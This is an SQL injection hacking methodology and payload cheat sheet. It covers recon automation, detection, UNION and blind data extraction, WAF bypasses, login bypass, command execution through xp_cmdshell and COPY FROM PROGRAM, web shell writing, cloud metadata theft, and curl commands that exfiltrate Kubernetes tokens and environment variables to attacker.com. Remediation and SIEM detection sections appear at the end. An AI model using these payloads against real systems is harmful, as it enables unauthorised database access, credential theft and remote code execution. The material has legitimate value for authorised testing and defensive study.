# SQL Injection
## Shortcut
- Map any of the application endpoints that takes in user input
- Insert test payload into these locations to discover whether they're vulnerable to SQL injections. if the input isn't vulnerable to classic SQL injections, try inferential techniques instead.
- Use different SQL injection queries to extract information from the database.
- Escalate the issue, try to expand your foothold.
## Mechanisms
SQL Injection (SQLi) is a code injection technique that exploits vulnerabilities in applications that dynamically construct SQL queries using user-supplied input. When successful, attackers can:
- Bypass authentication
- Access sensitive data
- Modify database data
- Execute administrative operations
- Potentially achieve remote code execution
SQLi occurs when applications fail to properly validate, sanitize, or parameterize user input before incorporating it into SQL queries. The vulnerability exists in various forms:
### Types of SQL Injection
- **Error-based**: Extract data by forcing the database to generate error messages containing sensitive information
- **Union-based**: Leverage the UNION operator to combine results from the original query with those from an injected query
- **Boolean-based blind**: Infer information by observing whether query results differ based on injected Boolean conditions
- **Time-based blind**: Deduce information by observing timing differences in responses when conditional time-delay functions are injected
- **Out-of-band**: Extract data through alternative communication channels (DNS, HTTP requests)
- **Second-order**: Occurs when user input is stored and later used unsafely in SQL queries
- **Stored procedures**: Targeting vulnerable database stored procedures
- **JSON‑based**: Abuse JSON operators/functions (->, ->>, JSON_EXTRACT, JSON_TABLE) to inject conditions or extract data where traditional syntax is filtered
- **WebSocket-based**: SQL injection through WebSocket message payloads
- **REST API Filter/Sort**: Injection via JSON filter and sort parameters that translate to SQL
- **HTTP/2 Header Smuggling**: Bypassing WAFs via header manipulation before SQL payload delivery
```mermaid
graph TD
SQLi[SQL Injection Types] --> InBand[In-band SQLi]
SQLi --> Blind[Inferential/Blind SQLi]
SQLi --> OutOfBand[Out-of-band SQLi]
InBand --> Error[Error-based]
InBand --> Union[UNION-based]
Blind --> Boolean[Boolean-based]
Blind --> Time[Time-based]
OutOfBand --> DNS[DNS Exfiltration]
OutOfBand --> HTTP[HTTP Requests]
style SQLi fill:#b7b,stroke:#333,color:#333
style InBand fill:#afd,stroke:#333,color:#333
style Blind fill:#9f9,stroke:#333,color:#333
style OutOfBand fill:#f99,stroke:#333,color:#333
```
### Database Targets
SQLi affects virtually all major database systems:
- MySQL/MariaDB
- Microsoft SQL Server
- PostgreSQL
- Oracle
- SQLite
- IBM DB2
- NoSQL databases (MongoDB, Cassandra, etc.)
## Hunt
### Recon Workflow
- Using Burpsuite:
- Capture request in Burpsuite
- Send to active scanner
- Review SQL vulnerabilities detected
- Manually verify findings
- Use SQLMAP for deeper exploitation
- Using automation tools:
- sublist3r -d target | tee -a domains
- cat domains | httpx | tee -a alive
- cat alive | waybackurls | tee -a urls
- gf sqli urls >> sqli
- sqlmap -m sqli --dbs --batch
- Hidden parameter discovery:
- Gather URLs using hakrawler/waybackurls/gau
- Use Arjun to scan for hidden parameters
- Test discovered parameters for SQL injection
### Identification Techniques
#### Parameter Testing
- Test all input vectors: URL parameters, form fields, cookies, HTTP headers
- Insert basic SQL syntax characters to provoke errors:
```
' " ; -- /* */ # ) ( + ,
```
- Test single and double quote placement in different contexts:
```
' OR '1'='1
" OR "1"="1
```
- Use SQLi polyglots (work in multiple contexts):
```
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
#### Error-Based Detection
- Look for database error messages that reveal:
- SQL syntax errors
- Database type and version
- Table/column names
- Query structure
- Common error-triggering payloads:
```
'
''
`
"
""
,
%
\
```
#### Blind Detection
- Boolean-based tests (observe differences in responses):
```sql
' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --
```
- Time-based tests (observe response timing):
```sql
MySQL: ' OR SLEEP(5) --
PostgreSQL: ' OR pg_sleep(5) --
MSSQL: ' WAITFOR DELAY '0:0:5' --
Oracle: '; BEGIN DBMS_LOCK.SLEEP(5); END; --
```
- JSON operator probes (MySQL/Postgres):
```sql
# MySQL JSON
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
# Postgres JSONB
id=1 AND '{"a":1}'::jsonb ? 'a'
```
### Advanced Testing Approaches
#### Mapping Database Structure
1. Determine database type:
```sql
' UNION SELECT @@version -- (MySQL/MSSQL)
' UNION SELECT version() -- (PostgreSQL)
' UNION SELECT banner FROM v$version -- (Oracle)
```
2. Enumerate tables:
```sql
# MySQL/MSSQL
' UNION SELECT table_name,1 FROM information_schema.tables --
# PostgreSQL
' UNION SELECT table_name,1 FROM information_schema.tables --
# Oracle
' UNION SELECT table_name,1 FROM all_tables --
```
3. Enumerate columns:
```sql
# MySQL/MSSQL/PostgreSQL
' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --
# Oracle
' UNION SELECT column_name,1 FROM all_tab_columns WHERE table_name='USERS' --
```
4. GraphQL → SQLi pivot
```
# Try introspection disabled? Send crafted filter/order inputs
{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}
```
5. WebSocket SQLi detection
```javascript
// Connect to WebSocket endpoint
const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');
// Observe response for SQL errors or data leakage
```
6. REST API Filter Injection
```json
// Modern APIs often accept complex filters
POST /api/users/search
{
"filter": {
"name": {"$regex": "admin' OR 1=1--"},
"status": "active"
},
"sort": "name'; DROP TABLE users--"
}
```
7. ORM/Query Builder pitfalls (examples)
```
// Sequelize (Node): avoid string concatenation; use replacements/bind
sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user }, type: QueryTypes.SELECT })
// Prisma (Node): prefer parameterized $queryRaw vs $executeRawUnsafe
await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
// Knex
knex('users').whereRaw('name = ?', [user])
```
## Bypass Techniques
### WAF Bypass
- Case variation: `SeLeCt`, `UnIoN`
- Comment injection: `UN/**/ION SE/**/LECT`
- Alternate encodings:
- URL encoding: `UNION` → `%55%4E%49%4F%4E`
- Hex encoding: `SELECT` → `0x53454C454354`
- Unicode encoding
- Whitespace manipulation: `UNION/**/SELECT`
- Numeric representations:
- `1` → `1-0`, `1+0`, `CHAR(49)`
- String concatenation:
- MySQL: `CONCAT('a','b')`
- Oracle: `'a'||'b'`
- MSSQL: `'a'+'b'`
- Null byte injection:
```
%00' UNION SELECT password FROM Users WHERE username='xyz'--
```
- Double encoding:
```
First pass: / → %2f
Second pass: %2f → %252f
```
- Using SQLMAP tamper scripts:
- Use Atlas tool for suggesting tamper scripts
- Try multiple tamper scripts in combination
- Customize tamper scripts for specific WAFs
- **JSON operator wrapper**: Prefix payload with dummy JSON (`/**/{"a":1}`) so that WAFs parse request as JSON and miss the subsequent SQL keywords
- HTTP/2 request smuggling and path normalization can sometimes bypass perimeter WAFs; replay payloads over different schemes (h2/h2c) and proxies
## Vulnerabilities
### Common SQL Injection Points
#### Direct Query Manipulation
- **Login Bypass**:
```
username=' OR 1=1 --
```
- **Data Extraction**:
```
' UNION SELECT username,password FROM users --
```
- **Blind Data Extraction**:
```
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a
```
#### Indirect Query Vulnerabilities
- **Second-Order Injection**: Input is sanitized during initial storage but used unsafely in subsequent queries
- **ORM-Layer Injection**: Vulnerabilities in the Object-Relational Mapping layer
- **Dynamic Query Construction**: Queries built by concatenating strings with user input
- **Insufficient Input Sanitization**: Improper filtering of special characters
- **Query Format String Vulnerabilities**: Using string formatting functions to construct queries
- **GraphQL Injection**: Resolver strings constructed unsafely from GraphQL arguments leading to backend SQL execution
- **WebSocket Parameter Injection**: Real-time communication channels passing unvalidated data to SQL queries
- **Cloud Function/Serverless Injection**: Lambda/Cloud Function SQL queries with improper input validation
### Database-Specific Vulnerabilities
#### MySQL/MariaDB
- **Information Leakage**:
```
' UNION SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema' --
```
- **File Access**:
```
' UNION SELECT LOAD_FILE('/etc/passwd') --
```
- **File Writing**:
```
' UNION SELECT 'shell code' INTO OUTFILE '/var/www/html/shell.php' --
```
#### MSSQL
- **Command Execution**:
```
'; EXEC xp_cmdshell 'net user' --
```
- **Registry Access**:
```
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --
```
- **Linked Servers Access**:
```
'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --
```
#### PostgreSQL
- **File Access**:
```
' UNION SELECT pg_read_file('/etc/passwd',0,1000) --
```
- **Command Execution**:
```
'; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; --
```
- **Container Escape** (in Kubernetes/Docker environments):
```sql
-- Exfiltrate service account tokens
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --
-- Read container environment variables
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/?data=$(env|base64)'; --
```
#### Oracle
- **Privilege Escalation**:
```
' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --
```
- **PL/SQL Execution**:
```
' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --
```
### NoSQL Injection
- **MongoDB Operators**:
```
username[$ne]=admin&password[$ne]=
username[$regex]=^adm&password[$regex]=^pass
```
- **Operator Injection**:
```
{"$where": "sleep(5000)"}
{"username": {"$in": ["admin"]}}
```
### Graph Databases (Neo4j/Cypher)
- **Cypher Injection Example**
```sql
MATCH (u:User) WHERE u.name = 'admin' RETURN u
```
can be abused with `admin' OR 1=1 //--` to bypass conditions.
- **CVE‑2024‑34517**: Older Neo4j 5.x allowed privilege escalation via IMMUTABLE procedures; ensure your target is ≥ 5.18 or 4.4.26.
## Chaining and Escalation
### Cloud-Specific SQL Injection
#### Serverless/Lambda Environments
- **Connection Pool Poisoning**:
```javascript
// Lambda functions reusing database connections
// Attacker can poison connection state
exports.handler = async (event) => {
// Vulnerable: SET ROLE is persistent across invocations
await db.query(`SET ROLE '${event.role}'`);
return await db.query("SELECT * FROM sensitive_data");
};
```
- **AWS RDS Proxy Bypass**:
```sql
-- Bypass RDS Proxy connection limits
'; CALL mysql.rds_kill(CONNECTION_ID()); --
```
- **Azure SQL Managed Instance**:
```sql
-- Exploit managed instance features
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'az vm list'; --
```
- **GCP Cloud SQL**:
```sql
-- Access Cloud SQL metadata
' UNION SELECT @@global.version_comment, @@hostname --
```
#### Cloud Metadata Access via SQLi
- **AWS IMDSv2** (requires token, harder via SQLi):
```sql
-- Older IMDSv1 still works in legacy environments
' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --
```
- **Azure Instance Metadata**:
```sql
' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --
```
### Supply Chain & Dependency Risks
#### ORM CVE Tracking (2024-2025)
- **Sequelize** CVE-2023-22578: SQL injection in JSON queries
```javascript
// Vulnerable pattern
User.findAll({
where: sequelize.literal(`name = '${userInput}'`),
});
```
- **TypeORM** < 0.3.12: findOne vulnerable to injection
```typescript
// Vulnerable
repository.findOne({ where: `id = ${id}` });
```
- **Hibernate 6.x**: Query cache poisoning
```java
// Unsafe HQL construction
session.createQuery("FROM User WHERE name = '" + input + "'");
```
- **Prisma** < 4.11: Raw query vulnerabilities
```typescript
// Vulnerable
await prisma.$executeRawUnsafe(`SELECT * FROM users WHERE id = ${id}`);
```
#### CI/CD Pipeline SQLi
- Database migration scripts with unvalidated variables
- Terraform/Pulumi infrastructure code generating SQL
- GitHub Actions workflows with SQL execution steps
## Methodologies
### Tools
#### Automated SQLi Detection & Exploitation
- **SQLmap 1.8+**: Now detects JSON‑based, GraphQL, and WebSocket SQLi automatically, plus smarter tamper chaining
- **GraphQLmap**: CLI tool for fuzzing and exploiting GraphQL resolver injections
- **NoSQLMap**: NoSQL database testing
- **Burp Suite Professional**: Enhanced SQL injection scanner with ML-based detection
- **Ghauri**: Advanced blind SQL injection tool (faster than SQLmap for time-based)
- **SQLiScanner**: Automated CI/CD integration for SQLi testing
#### Manual Testing Tools
- **Burp Suite**: Request manipulation and testing
- **OWASP ZAP**: Traffic interception and testing
- **FuzzDB/SecLists**: Attack payload collections
- **Havij**: Automated SQL injection tool with GUI
- **wscat**: WebSocket testing for SQLi in real-time connections
- **Postman/Insomnia**: API endpoint testing with GraphQL support
### Testing Methodology
#### Reconnaissance Phase
1. **Identify Entry Points**:
- Map all user input parameters
- Check HTTP POST/GET parameters
- Examine cookies and HTTP headers
- Review hidden form fields
- Analyze API endpoints
2. **Determine Database Type**:
- Observe error messages
- Test database-specific syntax
- Check HTTP headers and response patterns
#### Exploitation Phase
1. **Initial Testing**:
```sql
# Test for errors
parameter=test'
parameter=test"
parameter=test`
# Boolean tests
parameter=test' OR '1'='1
parameter=test' AND '1'='2
# UNION tests
parameter=test' UNION SELECT 1-- -
parameter=test' UNION SELECT 1,2-- -
parameter=test' UNION SELECT 1,2,3-- -
```
2. **UNION Attack Technique**:
```sql
# Find the number of columns
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
# Identify string columns
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -
' UNION SELECT NULL,NULL,'a'-- -
# Extract data
' UNION SELECT username,password,NULL FROM users-- -
```
3. **Blind SQLi Exploitation**:
```sql
# Boolean-based
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -
# Time-based
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -
```
4. **Database Enumeration**:
- Determine database version
- Extract table names
- Extract column names
- Extract data
5. **Privilege Escalation**:
- Identify database user permissions
- Access sensitive tables
- Attempt file system access
- Try command execution
### Cheatsheets by Database
#### MySQL
```sql
# Version
SELECT @@version
# Comments
-- Comment
# Comment
/*Comment*/
# String Concatenation
CONCAT('a','b')
# Substring
SUBSTRING('abc',1,1)
# Conditional
IF(1=1,'true','false')
# Time Delay
SLEEP(5)
# Data Sources
information_schema.tables
information_schema.columns
```
#### MSSQL
```sql
# Version
SELECT @@version
# Comments
-- Comment
/*Comment*/
# String Concatenation
'a'+'b'
# Substring
SUBSTRING('abc',1,1)
# Conditional
CASE WHEN 1=1 THEN 'true' ELSE 'false' END
# Time Delay
WAITFOR DELAY '0:0:5'
# Data Sources
information_schema.tables
information_schema.columns
sys.tables
sys.columns
```
#### Oracle
```sql
# Version
SELECT banner FROM v$version
# Comments
-- Comment
/*Comment*/
# String Concatenation
'a'||'b'
# Substring
SUBSTR('abc',1,1)
# Conditional
CASE WHEN 1=1 THEN 'true' ELSE 'false' END
# Time Delay
DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)
# Data Sources
all_tables
all_tab_columns
```
#### PostgreSQL
```sql
# Version
SELECT version()
# Comments
-- Comment
/*Comment*/
# String Concatenation
'a'||'b'
# Substring
SUBSTRING('abc',1,1)
# Conditional
CASE WHEN 1=1 THEN 'true' ELSE 'false' END
# Time Delay
pg_sleep(5)
# Data Sources
information_schema.tables
information_schema.columns
```
## Remediation Recommendations
- **Prepared Statements/Parameterized Queries**:
```java
// Unsafe
String query = "SELECT * FROM users WHERE username = '" + username + "'";
// Safe (Java PreparedStatement)
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);
```
- **PHP PDO note:** When using PDO you must disable emulated prepares,Otherwise parameters are substituted client‑side and JSON operators can still be injectable.
```php
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
```
- **ORM Frameworks**: Use secure ORM frameworks with proper parameter binding
- **Input Validation**: Server-side validation with strong type checking
- **Stored Procedures**: Use properly coded stored procedures
- **Least Privilege**: Restrict database account permissions
- **WAF Implementation**: Deploy a web application firewall
- **Error Handling**: Prevent detailed error messages from being displayed to users
- **Database Activity Monitoring (DAM)**: Track and alert on suspicious database activity
- Tools: Imperva DAM, IBM Guardium, Oracle Audit Vault
- Cloud-native: AWS RDS Enhanced Monitoring, Azure SQL Auditing, GCP Cloud SQL Insights
- **Runtime Application Self-Protection (RASP)**: Detect and block SQLi at runtime
- Tools: Contrast Security, Sqreen (Datadog), Hdiv Security
- **ML-based WAF**: Modern WAF with machine learning detection
- Cloudflare WAF (ML rules)
- AWS WAF Fraud Control Account Takeover Prevention
- Signal Sciences (Fastly)
- **Row-Level Security (RLS)**: Enforce per-tenant/user data access in the database layer
- **Outbound controls**: Block DB servers from making outbound DNS/HTTP to limit OOB exfiltration
- Implement egress filtering in security groups/firewalls
- Use private subnets for database instances
- **Strong typed parameters**: For JSON/ARRAY params ensure explicit casts (e.g., `$1::jsonb`) to avoid operator confusion
- **API Gateway Schema Validation**: Enforce strict input validation at gateway level
- AWS API Gateway Request Validators
- Kong Request Validator plugin
- Apigee JSON Threat Protection
- **Query Monitoring & Anomaly Detection**:
```python
# Example: Monitor for suspicious patterns
if re.search(r"(UNION|SELECT|INSERT|UPDATE|DELETE).*--", query, re.IGNORECASE):
alert_security_team()
block_request()
```
- **Container Security Context**: For containerized databases
```yaml
# Kubernetes: Restrict service account access
automountServiceAccountToken: false
securityContext:
readOnlyRootFilesystem: true
runAsNonRoot: true
```
### Detection & Monitoring
#### SIEM/Log Analysis Queries
**Splunk:**
```spl
index=web sourcetype=access_combined
| regex _raw="(%27)|(\\')|(\\-\\-)|((%3D)|(=))[^\\n]*((%27)|(\\')|(\\-\\-)|(\\%3D))"
| eval suspected_sqli=if(match(_raw, "(?i)(union|select|insert|update|delete|drop|create|alter|exec|execute)"), "high", "low")
| where suspected_sqli="high"
| table _time, src_ip, uri, user_agent, status
```
**ELK/OpenSearch:**
```json
{
"query": {
"bool": {
"should": [
{
"regexp": { "request.uri": ".*(union|select|insert|update|delete).*" }
},
{ "match": { "request.body": "' OR 1=1" } }
]
}
}
}
```
**CloudWatch Insights (AWS RDS):**
```
fields @timestamp, @message
| filter @message like /(?i)(UNION|SELECT.*FROM|INSERT INTO|UPDATE.*SET|DELETE FROM)/
| filter @message like /(%27|'|--|\\/\\*)/
| stats count() by bin(5m)
```
### HTTP/2 & HTTP/3 Considerations
- **HPACK/QPACK Header Compression**: May alter detection patterns
```
# HTTP/2 header compression can obfuscate payloads
:path: /api/user?id=1%20UNION%20SELECT
# Appears different after decompression
```
- **Request Smuggling to SQLi**:
```http
POST /api/user HTTP/2
Content-Length: 100
Transfer-Encoding: chunked
0
POST /api/admin HTTP/1.1
Content-Length: 50
id=1' OR '1'='1
```
- **HTTP/3 QUIC Protocol**: Test SQLi over different protocols
```bash
# Use curl with HTTP/3 support
curl --http3 "https://target.com/api?id=1' UNION SELECT--"
```
### Compliance & Regulatory Context
- **PCI DSS 4.0**: Requirement 6.2.4 mandates protection against injection attacks
- **OWASP ASVS 4.0**: V5.3.4 requires parameterized queries or stored procedures
- **ISO 27001:2022**: A.8.22 web filtering control
- **NIST 800-53**: SI-10 Information Input Validation
- **SOC 2 Type II**: Common Criteria CC6.1 (Logical Access Controls)
### Threat Intelligence Integration
- **CISA KEV Catalog**: Monitor for actively exploited SQL injection CVEs
- **MITRE ATT&CK**: T1190 (Exploit Public-Facing Application)
- **exploit-db.com**: Track recent SQLi PoC releases
- **GitHub Security Advisories**: Monitor ORM/framework CVEs
```bash
# Automated monitoring
gh api /advisories --jq '.[] | select(.summary | contains("SQL injection"))'
```